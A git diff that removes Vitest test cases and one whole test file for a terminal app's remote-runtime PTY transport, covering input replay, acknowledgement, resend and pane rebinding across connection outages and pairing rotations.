-        // Finish validation while the replacement is blocked, before the 8 ms suffix debounce.
-        await vi.advanceTimersByTimeAsync(1)
-        expect(runtimeSubscribe).toHaveBeenCalledTimes(2)
-        resumeSubscription()
-        await replacementSubscribed
-        attachStream(latestSubscribePayload().streamId, capabilities)
-        const accepted =
-          host === 'accepted key' ? transport.sendInputAccepted?.('C', 'driving') : undefined
-        if (host === 'accepted key') {
-          transport.sendInput('D', 'driving')
-        }
-        await vi.advanceTimersByTimeAsync(20)
-        const expected = `${paste}B\r${host === 'accepted key' ? 'CD' : ''}`
-        const text = sentText()
-        expect(text).toHaveLength(expected.length)
-        expect(text.indexOf('B')).toBe(paste.length)
-        expect(text === expected).toBe(true)
-        if (host === 'accepted key') {
-          await expect(accepted).resolves.toBe(true)
-        }
-        if (host === 'legacy') {
-          expect(sentInputs().every((input) => input.seq === 0)).toBe(true)
-        }
-      } finally {
-        await transport.destroy?.()
-        vi.useRealTimers()
-      }
-    }
-  )
-
-  it('never replays toward a host that does not acknowledge input', async () => {
-    const { transport } = await connectPane({ outputPause: 1 })
-    transport.sendInput('echo 1\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    expect(sentInputs()[0].seq).toBe(0)
-
-    subscriptionCallbacks?.onClose?.()
-    transport.sendInput('echo 2\r', 'driving')
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ outputPause: 1 }, 2)
-
-    await vi.waitFor(() => expect(sentInputs(2)).toEqual([{ seq: 0, text: 'echo 2\r' }]))
-    transport.destroy?.()
-  })
-
-  it('keeps debounced keys pending at detection instead of splitting the line (P1-2)', async () => {
-    const { transport } = await connectPane({ outputPause: 1 })
-    for (const ch of 'PZ600-0') {
-      transport.sendInput(ch, 'driving')
-    }
-    await vi.waitFor(() => expect(sentText()).toBe('PZ600-0'))
-    // Still inside the 8 ms debounce when the outage is detected.
-    transport.sendInput('1', 'driving')
-    transport.sendInput('2', 'driving')
-    subscriptionCallbacks?.onError?.({
-      code: 'remote_runtime_unavailable',
-      message: 'Could not connect to the remote Orca runtime.'
-    })
-    transport.sendInput('3', 'driving')
-    transport.sendInput('\r', 'driving')
-
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ outputPause: 1 }, 2)
-
-    await vi.waitFor(() => expect(sentText()).toBe('PZ600-0123\r'))
-    transport.destroy?.()
-  })
-
-  it('keeps input held past the auto-recovery window and delivers it when the same terminal returns within the grace (P1-3)', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await connectPane({ inputAck: 1 })
-      let hostReachable = false
-      runtimeSubscribe.mockImplementation(
-        async (_args: unknown, callbacks: NonNullable<MultiplexSubscriptionCallbacks>) => {
-          if (!hostReachable) {
-            throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          }
-          subscriptionCallbacks = callbacks
-          queueMicrotask(emitMultiplexReady)
-          return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-        }
-      )
-
-      subscriptionCallbacks?.onClose?.()
-      expect(transport.sendInput('HELD-1\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      // Typed under the "disconnected" banner: still held for the same terminal.
-      expect(transport.sendInput('LATE-2\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS - 60_000)
-
-      hostReachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      attachStream(latestSubscribePayload().streamId, { inputAck: 1 })
-      await vi.advanceTimersByTimeAsync(50)
-
-      expect(
-        sentInputs(2)
-          .map((input) => input.text)
-          .join('')
-      ).toBe('HELD-1\rLATE-2\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('never delivers a paste chunk held past its caller timeout under the disconnected banner', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await connectPane({ inputAck: 1 })
-      let hostReachable = false
-      runtimeSubscribe.mockImplementation(
-        async (_args: unknown, callbacks: NonNullable<MultiplexSubscriptionCallbacks>) => {
-          if (!hostReachable) {
-            throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          }
-          subscriptionCallbacks = callbacks
-          queueMicrotask(emitMultiplexReady)
-          return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-        }
-      )
-
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      const paste = pasteChunk(transport, '\x1b[200~echo one\recho two\r')
-      await vi.advanceTimersByTimeAsync(TERMINAL_REMOTE_PASTE_OPERATION_TIMEOUT_MS + 10_000)
-      await expect(paste).resolves.toEqual({ timedOut: true })
-      // Typed after the paste error: still held for the same terminal.
-      transport.sendInput('ls\r', 'driving')
-
-      hostReachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      attachStream(latestSubscribePayload().streamId, { inputAck: 1 })
-      await vi.advanceTimersByTimeAsync(50)
-
-      expect(
-        sentInputs(2)
-          .map((input) => input.text)
-          .join('')
-      ).toBe('ls\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('drops input held or typed past the disconnected grace instead of running it at a later reconnect', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await connectPane({ inputAck: 1 })
-      let hostReachable = false
-      runtimeSubscribe.mockImplementation(
-        async (_args: unknown, callbacks: NonNullable<MultiplexSubscriptionCallbacks>) => {
-          if (!hostReachable) {
-            throw Object.assign(new Error('Could not connect to the remote Orca runtime.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          }
-          subscriptionCallbacks = callbacks
-          queueMicrotask(emitMultiplexReady)
-          return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-        }
-      )
-
-      subscriptionCallbacks?.onClose?.()
-      transport.sendInput('HELD-1\r', 'driving')
-      await vi.advanceTimersByTimeAsync(
-        REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS + 1_000
-      )
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      // Typed into the dead pane long after it gave up.
-      expect(transport.sendInput('git push -f\r', 'driving')).toBe(false)
-
-      hostReachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      attachStream(latestSubscribePayload().streamId, { inputAck: 1 })
-      await vi.advanceTimersByTimeAsync(50)
-      transport.sendInput('ls\r', 'driving')
-      await vi.advanceTimersByTimeAsync(50)
-
-      expect(
-        sentInputs(2)
-          .map((input) => input.text)
-          .join('')
-      ).toBe('ls\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('never replays a paste chunk the dead stream took after its caller timed out', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await connectPane({ inputAck: 1 })
-      const paste = pasteChunk(transport, '\x1b[200~echo one\r')
-      await vi.advanceTimersByTimeAsync(20)
-      expect(sentText()).toBe('\x1b[200~echo one\r')
-      // The link goes silent before the host acks the chunk; the stall watchdog starts recovery.
-      await vi.advanceTimersByTimeAsync(TERMINAL_REMOTE_PASTE_OPERATION_TIMEOUT_MS + 1_000)
-      await expect(paste).resolves.toEqual({ timedOut: true })
-      expect(subscribeFrameCount()).toBeGreaterThan(1)
-      transport.sendInput('ls\r', 'driving')
-
-      const reattach = subscribeFrameCount()
-      attachStream(latestSubscribePayload().streamId, { inputAck: 1 })
-      await vi.advanceTimersByTimeAsync(50)
-
-      // The given-up chunk's slot is filled empty so the host, which writes in order, can go on.
-      expect(sentInputs(reattach).map((input) => input.text)).toEqual(['', 'ls\r'])
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('keeps typing batched just before a paste when that paste is given up', async () => {
     vi.useFakeTimers()
     try {
@@ -638,78 +192,6 @@ describe('remote pane input across a silent outage', () => {
     }
   })
 
-  it('resends input the host refused on the same live stream, without remounting, and keeps later typing flowing', async () => {
-    const onWriteUnavailable = vi.fn()
-    const { transport, streamId } = await connectPane({ inputAck: 1 }, { onWriteUnavailable })
-    transport.sendInput('a', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    emitInputAck(streamId, 1)
-    transport.sendInput('b', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(2))
-    transport.sendInput('c', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(3))
-
-    // The host's PTY briefly refused seq 2 and wrote nothing after it.
-    emitInputAck(streamId, 1, RESEND_REQUEST)
-    emitInputAck(streamId, 1, RESEND_REQUEST)
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(5))
-    expect(sentInputs().slice(3)).toEqual([
-      { seq: 2, text: 'b' },
-      { seq: 3, text: 'c' }
-    ])
-    emitInputAck(streamId, 3)
-    transport.sendInput('d', 'driving')
-    await vi.waitFor(() => expect(sentInputs().at(-1)).toEqual({ seq: 4, text: 'd' }))
-    expect(subscribeFrameCount()).toBe(1)
-    expect(onWriteUnavailable).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('keeps resending through transient refusals, then falls back to a remount once they persist', async () => {
-    vi.useFakeTimers()
-    try {
-      const onWriteUnavailable = vi.fn()
-      const { transport, streamId } = await connectPane({ inputAck: 1 }, { onWriteUnavailable })
-      transport.sendInput('a', 'driving')
-      await vi.advanceTimersByTimeAsync(20)
-      for (
-        let round = 1;
-        round < REMOTE_RUNTIME_INPUT_REFUSAL_ROUNDS_BEFORE_ESCALATION;
-        round += 1
-      ) {
-        emitInputAck(streamId, 0, RESEND_REQUEST)
-        await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_INPUT_RESEND_BACKOFF_MS.at(-1) ?? 0)
-      }
-      expect(sentInputs().filter((input) => input.text === 'a').length).toBeGreaterThanOrEqual(
-        REMOTE_RUNTIME_INPUT_REFUSAL_ROUNDS_BEFORE_ESCALATION
-      )
-      expect(onWriteUnavailable).not.toHaveBeenCalled()
-      // The refusal never clears (a stale handle or an unwritable PTY on a live stream).
-      emitInputAck(streamId, 0, RESEND_REQUEST)
-      expect(onWriteUnavailable).toHaveBeenCalledTimes(1)
-      emitInputAck(streamId, 0, RESEND_REQUEST)
-      expect(onWriteUnavailable).toHaveBeenCalledTimes(1)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reports an accepted write as not applied when a later cumulative ack covers its lost ack', async () => {
-    const { transport } = await connectPane({ inputAck: 1 })
-    const opener = transport.sendInputAccepted?.('\x1b[200~', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    // Its delivery-unknown ack died with the connection; the replacement acks a later write.
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-    transport.sendInput('x', 'driving')
-    await vi.waitFor(() => expect(sentInputs(2)).toHaveLength(2))
-    emitInputAck(latestSubscribePayload().streamId, sentInputs(2)[1].seq)
-    await expect(opener).resolves.toBe(false)
-    transport.destroy?.()
-  })
-
   it('cancels a bracketed paste whose opener ack was lost, without sending the multiline body', async () => {
     const { transport } = await connectPane({ inputAck: 1 })
     const body = 'echo first\necho second\n'
@@ -753,47 +235,6 @@ describe('remote pane input across a silent outage', () => {
     transport.destroy?.()
   })
 
-  it('reports an accepted write the host failed with unknown delivery as not sent, and never replays it', async () => {
-    const { transport, streamId } = await connectPane({ inputAck: 1 })
-    const write = transport.sendInputAccepted?.('make deploy\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    emitInputAck(streamId, sentInputs()[0].seq, Uint8Array.of(1))
-    await expect(write).resolves.toBe(false)
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-    transport.sendInput('ls\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs(2).map((input) => input.text)).toEqual(['ls\r']))
-    transport.destroy?.()
-  })
-
-  it.each([1, 2])(
-    'retains the whole held draft when replay chunk %i fails to send',
-    async (failingChunk) => {
-      const { transport } = await connectPane({ inputAck: 1 })
-      subscriptionCallbacks?.onClose?.()
-      const draft = `${'a'.repeat(16 * 1024)}${'b'.repeat(16 * 1024)}${'c'.repeat(16 * 1024)}`
-      expect(transport.sendInput(draft, 'driving')).toBe(true)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-      failInputFrame(failingChunk)
-      await reconnect({ inputAck: 1 }, 2)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(3))
-      await reconnect({ inputAck: 1 }, 3)
-      await vi.waitFor(() =>
-        expect(
-          sentInputs(3)
-            .map((input) => input.text)
-            .join('') === draft
-        ).toBe(true)
-      )
-      for (const replayed of sentInputs(3)) {
-        emitInputAck(latestSubscribePayload().streamId, replayed.seq)
-      }
-      await transport.destroy?.()
-    }
-  )
-
   it.each([1, 2])(
     'keeps earlier typing and the whole draft when chunk %i of an accepted write fails to send',
     async (failingChunk) => {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-mirror-resolve-overlap.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-mirror-resolve-overlap.test.ts
index 07312c19853..65b5a1e80aa 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-mirror-resolve-overlap.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-mirror-resolve-overlap.test.ts
@@ -10,17 +10,16 @@ vi.mock('@/store/index', () => ({ useAppStore: { getState: () => ({}) } }))
 let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
 let resolvedPaneHandle = 'terminal-1'
 
-const { runtimeCall, subscriptionSendBinary, resetRemoteRuntimeTransport } =
-  createRemoteRuntimeTransportMocks({
-    getCallbacks: () => subscriptionCallbacks,
-    setCallbacks: (callbacks) => {
-      subscriptionCallbacks = callbacks
-    },
-    getResolvedPaneHandle: () => resolvedPaneHandle,
-    setResolvedPaneHandle: (handle) => {
-      resolvedPaneHandle = handle
-    }
-  })
+const { runtimeCall, resetRemoteRuntimeTransport } = createRemoteRuntimeTransportMocks({
+  getCallbacks: () => subscriptionCallbacks,
+  setCallbacks: (callbacks) => {
+    subscriptionCallbacks = callbacks
+  },
+  getResolvedPaneHandle: () => resolvedPaneHandle,
+  setResolvedPaneHandle: (handle) => {
+    resolvedPaneHandle = handle
+  }
+})
 
 function calledMethods(): string[] {
   return runtimeCall.mock.calls.map(([request]) => request.method)
@@ -48,42 +47,6 @@ describe('web mirror reveal: resolvePane overlaps the activation', () => {
     })
   }
 
-  it('sends resolvePane before the activation answers, and reads it once', async () => {
-    const defaultCall = runtimeCall.getMockImplementation()!
-    let answerActivate: () => void = () => {}
-    runtimeCall.mockImplementation((request: { method: string }) => {
-      if (request.method === 'session.tabs.activate') {
-        return new Promise((resolve) => {
-          answerActivate = () => resolve(defaultCall(request))
-        })
-      }
-      if (request.method === 'terminal.resolvePane') {
-        return Promise.resolve(defaultCall(request)).then((response) => ({
-          ...response,
-          result: {
-            terminal: { ...response.result.terminal, incarnationId: 'incarnation-resolved' }
-          }
-        }))
-      }
-      return defaultCall(request)
-    })
-
-    const attached = attachMirror()
-    await vi.waitFor(() => expect(calledMethods()).toContain('terminal.resolvePane'), {
-      timeout: 10_000
-    })
-    // The activation has not answered, yet the pane read is already on the wire.
-    expect(calledMethods()).toContain('session.tabs.activate')
-    expect(subscriptionSendBinary).not.toHaveBeenCalled()
-
-    answerActivate()
-    await expect(attached).resolves.toMatchObject({
-      id: 'remote:env-1@@terminal-1',
-      incarnationId: 'incarnation-resolved'
-    })
-    expect(calledMethods().filter((method) => method === 'terminal.resolvePane')).toHaveLength(1)
-  })
-
   it('re-reads the pane after an activation that materialized a different handle', async () => {
     const defaultCall = runtimeCall.getMockImplementation()!
     let activated = false
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pairing-rotation.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pairing-rotation.test.ts
index 67e6c0f8c91..b8970a38078 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pairing-rotation.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pairing-rotation.test.ts
@@ -222,83 +222,6 @@ describe('remote runtime pane across a pairing rotation', () => {
     transport.destroy?.()
   })
 
-  it('rebinds a pane whose stream reopened before main re-paired, instead of dropping its keys', async () => {
-    const { transport, onError, repair, publishCatalog } = await restartServerUnderLivePane('tab-1')
-    const firstCallbacks = subscriptionCallbacks
-
-    // The server is back and the stream reopened on the old pairing; main re-pairs only afterwards.
-    repair()
-    publishCatalog()
-
-    await vi.waitFor(() => expect(subscribeRevisions().at(-1)).toBe(2))
-    await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(firstCallbacks))
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-    emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('connected'))
-    expect(transport.sendInput('echo typed-after-repair\r', 'driving')).toBe(true)
-
-    await vi.waitFor(() => expect(inputFrameTexts().join('')).toBe('echo typed-after-repair\r'))
-    expect(latestSubscribePayload().terminal).toBe('terminal-1')
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('rebinds a host session pane through its inventory on the new pairing', async () => {
-    const { transport, onError, repair } =
-      await restartServerUnderLivePane('web-terminal-host-tab-1')
-    const firstCallbacks = subscriptionCallbacks
-
-    repair()
-    firstCallbacks?.onClose?.()
-
-    await vi.waitFor(() => expect(subscribeRevisions().at(-1)).toBe(2), { timeout: 5_000 })
-    await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(firstCallbacks))
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-    emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('connected'))
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1')
-    expect(latestSubscribePayload().terminal).toBe('terminal-1')
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('Reconnect rebinds a pane whose retries stopped while the server restarted re-paired', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport, onError, repair, publishCatalog, setReachable } =
-        await restartServerUnderLivePane('web-terminal-host-tab-1')
-      setReachable(false)
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      repair()
-      setReachable(true)
-      // Another subscriber's refusal already brought the renderer catalog to the new revision.
-      publishCatalog()
-      const subscribesBefore = runtimeSubscribe.mock.calls.length
-      runtimeCall.mockClear()
-      expect(transport.retryRecovery?.()).toBe(true)
-
-      await vi.waitFor(() =>
-        expect(runtimeSubscribe.mock.calls.length).toBeGreaterThan(subscribesBefore)
-      )
-      expect(subscribeRevisions().at(-1)).toBe(2)
-      await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-1'))
-      emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-      await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('connected'))
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1')
-      for (const [request] of runtimeCall.mock.calls) {
-        expect(requestRevision(request)).toBe(2)
-      }
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it.each([
     ['a host session pane', 'web-terminal-host-tab-1'],
     ['a client-placed pane', 'tab-1']
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-binding-ownership.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-binding-ownership.test.ts
deleted file mode 100644
index d6a3388ce59..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-binding-ownership.test.ts
+++ /dev/null
@@ -1,577 +0,0 @@
-import {
-  LEAF_1,
-  LEAF_2,
-  unboundSplitLayout
-} from '../../layout/detach/terminal-pane-tab-detach-fixture'
-import type { AppState } from '@/store/types'
-import type { ConnectPanePtySession } from '../../pty-connection/connect-pane-pty-session'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  createRemoteRuntimeTransportMocks,
-  readyHostSessionInventoryResponse
-} from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn<() => AppState>(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-// Why: the recovery portals read a pairing-refusal hook this pane-binding test doesn't exercise.
-vi.mock('./recovery/use-managed-pairing-refused', () => ({
-  useManagedPairingRefusedEnvironmentId: () => null
-}))
-
-let composedStore = false
-afterEach(() => {
-  if (!composedStore) {
-    expect(appStore.getState).not.toHaveBeenCalled()
-  }
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  runtimeSubscribe,
-  latestSubscribePayload,
-  subscribeFrameCount,
-  inputFrameTexts,
-  emitSnapshot,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-function unreachable(): Error {
-  return Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-    code: 'remote_runtime_unavailable'
-  })
-}
-
-const callsTo = (method: string) => runtimeCall.mock.calls.filter(([r]) => r.method === method)
-
-// Every exit from binding a remote pane must leave one owner: the host's answer, or the transport's own retry.
-describe('remote runtime pane binding ownership', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-    composedStore = false
-  })
-
-  it.each([
-    ['terminal-1', 'old-incarnation', 'direct'],
-    ['terminal-1', 'new-incarnation', 'close'],
-    ['terminal-2', 'new-incarnation', 'end']
-  ])(
-    'retains one refresh through %s delayed acceptance (%s, %s)',
-    async (replacement, nextIncarnation, interruption) => {
-      if (interruption === 'close') {
-        vi.useFakeTimers()
-      }
-      composedStore = true
-      vi.doMock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-        scheduleRuntimeGraphSync: vi.fn()
-      }))
-      vi.doMock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-        notifyCodexPaneBoundForStaleSweep: vi.fn()
-      }))
-      const { createTestStore, seedStore } = await import('@/store/testing/app-store-test-fixture'),
-        { makeTab } = await import('@/store/terminals/terminal-tab.test-fixture')
-      const { installActivePanePtyBinding } =
-        await import('../../pty-connection/lifecycle/active-pane-pty-binding')
-      const { installTerminalBellCompletionArbitration } =
-        await import('../../pty-connection/notifications/terminal-bell-completion-arbitration')
-      const { bindReplacedProcessInputModes } =
-        await import('../../pty-connection/output/replaced-process-input-modes')
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const store = createTestStore()
-      const old = 'remote:env-1@@saved-predecessor'
-      const sibling = 'remote:env-1@@sibling'
-      const initial = 'remote:env-1@@terminal-1'
-      seedStore(store, {
-        tabsByWorktree: { 'wt-1': [makeTab({ id: 'tab-1', worktreeId: 'wt-1', ptyId: old })] },
-        ptyIdsByTabId: { 'tab-1': [old, sibling] },
-        terminalLayoutsByTabId: {
-          'tab-1': {
-            ...unboundSplitLayout(),
-            activeLeafId: LEAF_1,
-            ptyIdsByLeafId: { [LEAF_1]: old, [LEAF_2]: sibling }
-          }
-        }
-      })
-      appStore.getState.mockImplementation(store.getState)
-      let incarnationId = 'old-incarnation'
-      let refused = false
-      let delayResolution = false
-      const delayed = Promise.withResolvers<void>()
-      const defaultCall = runtimeCall.getMockImplementation()
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method !== 'terminal.resolvePane') {
-          return defaultCall?.(args)
-        }
-        if (delayResolution) {
-          delayResolution = false
-          await delayed.promise
-        }
-        if (!refused) {
-          refused = true
-          return {
-            ok: false,
-            error: { code: 'runtime_error', message: 'terminal_pane_owner_changed' }
-          }
-        }
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: resolvedPaneHandle,
-              worktreeId: 'wt-1',
-              tabId: 'tab-1',
-              leafId: LEAF_1,
-              incarnationId
-            }
-          }
-        }
-      })
-      const onPtyRebind = vi.fn((id: string, prior: string, incarnation?: string | null) =>
-        session.onPtyRebind(id, prior, incarnation)
-      )
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: LEAF_1,
-        onPtyRebind
-      })
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: only the visibility installer runs; its pane/store/transport dependencies are supplied below.
-      const session = {
-        pane: { id: 1, leafId: LEAF_1 },
-        cacheKey: `tab-1:${LEAF_1}`,
-        transport,
-        deps: {
-          tabId: 'tab-1',
-          worktreeId: 'wt-1',
-          paneTransportsRef: { current: new Map([[1, transport]]) },
-          isVisibleRef: { current: true },
-          updateTabPtyId: store.getState().updateTabPtyId
-        },
-        activePanePtyBinding: old,
-        bindProcessExitState: vi.fn(),
-        windowsPtyModel: { apply: vi.fn() },
-        setPanePtyFitBinding: vi.fn(),
-        registerSideEffectFactConsumerForPty: vi.fn(),
-        syncHiddenRendererPtyDelivery: vi.fn(),
-        syncPanePtyLayoutBinding: vi.fn(),
-        writeInputModeGround: vi.fn(),
-        clearPaneMode2031State: vi.fn(),
-        agentCompletionCoordinator: { startProcessTracking: vi.fn() }
-      } as unknown as ConnectPanePtySession
-      installActivePanePtyBinding(session)
-      installTerminalBellCompletionArbitration(session)
-      bindReplacedProcessInputModes(session)
-      const onError = vi.fn()
-      try {
-        transport.attach({ existingPtyId: old, callbacks: { onError } })
-        await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-1'))
-        expect(onPtyRebind).toHaveBeenCalledWith(initial, old, incarnationId)
-        emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-        expect(store.getState().terminalLayoutsByTabId['tab-1'].ptyIdsByLeafId).toEqual({
-          [LEAF_1]: initial,
-          [LEAF_2]: sibling
-        })
-        expect(store.getState().tabsByWorktree['wt-1'][0].ptyId).toBe(initial)
-        expect(store.getState().ptyIdsByTabId['tab-1']).toEqual([initial, sibling])
-        expect(session.activePanePtyBinding).toBe(initial)
-        expect(session.bindProcessExitState).toHaveBeenCalledWith(initial, old)
-        expect(session.agentCompletionCoordinator.startProcessTracking).toHaveBeenCalledOnce()
-        expect(onError).not.toHaveBeenCalled()
-        const refuse = (streamId: number, callbacks = subscriptionCallbacks) =>
-          callbacks?.onResponse({
-            ok: true,
-            result: {
-              type: 'error',
-              streamId,
-              message: 'terminal_pane_owner_changed'
-            }
-          })
-        const { setDriverForPty, getDriverForPty } =
-          await import('@/lib/pane-manager/mobile-driver-state')
-        const { setFitOverride, getFitOverrideForPty } =
-          await import('@/lib/pane-manager/mobile-fit-overrides')
-        const phone = { kind: 'mobile' as const, clientId: 'phone-1' }
-        setDriverForPty(initial, phone)
-        setFitOverride(initial, 'mobile-fit', 49, 20)
-        const firstSubscription = subscriptionCallbacks
-        const firstFrameCount = subscribeFrameCount()
-        resolvedPaneHandle = replacement
-        incarnationId = nextIncarnation
-        refuse(latestSubscribePayload().streamId)
-        expect(transport.sendInput('old process input', 'driving')).toBe(true)
-        await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(firstSubscription))
-        await vi.waitFor(() => expect(subscribeFrameCount()).toBeGreaterThan(firstFrameCount))
-        await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe(replacement))
-        const refreshedSubscription = subscriptionCallbacks
-        const epoch = transport.getRecoveryState?.().epoch
-        const next = `remote:env-1@@${replacement}`
-        expect(onPtyRebind).toHaveBeenLastCalledWith(next, initial, incarnationId)
-        expect.soft(getDriverForPty(next)).toEqual(phone)
-        expect.soft(getFitOverrideForPty(next)).toEqual({ mode: 'mobile-fit', cols: 49, rows: 20 })
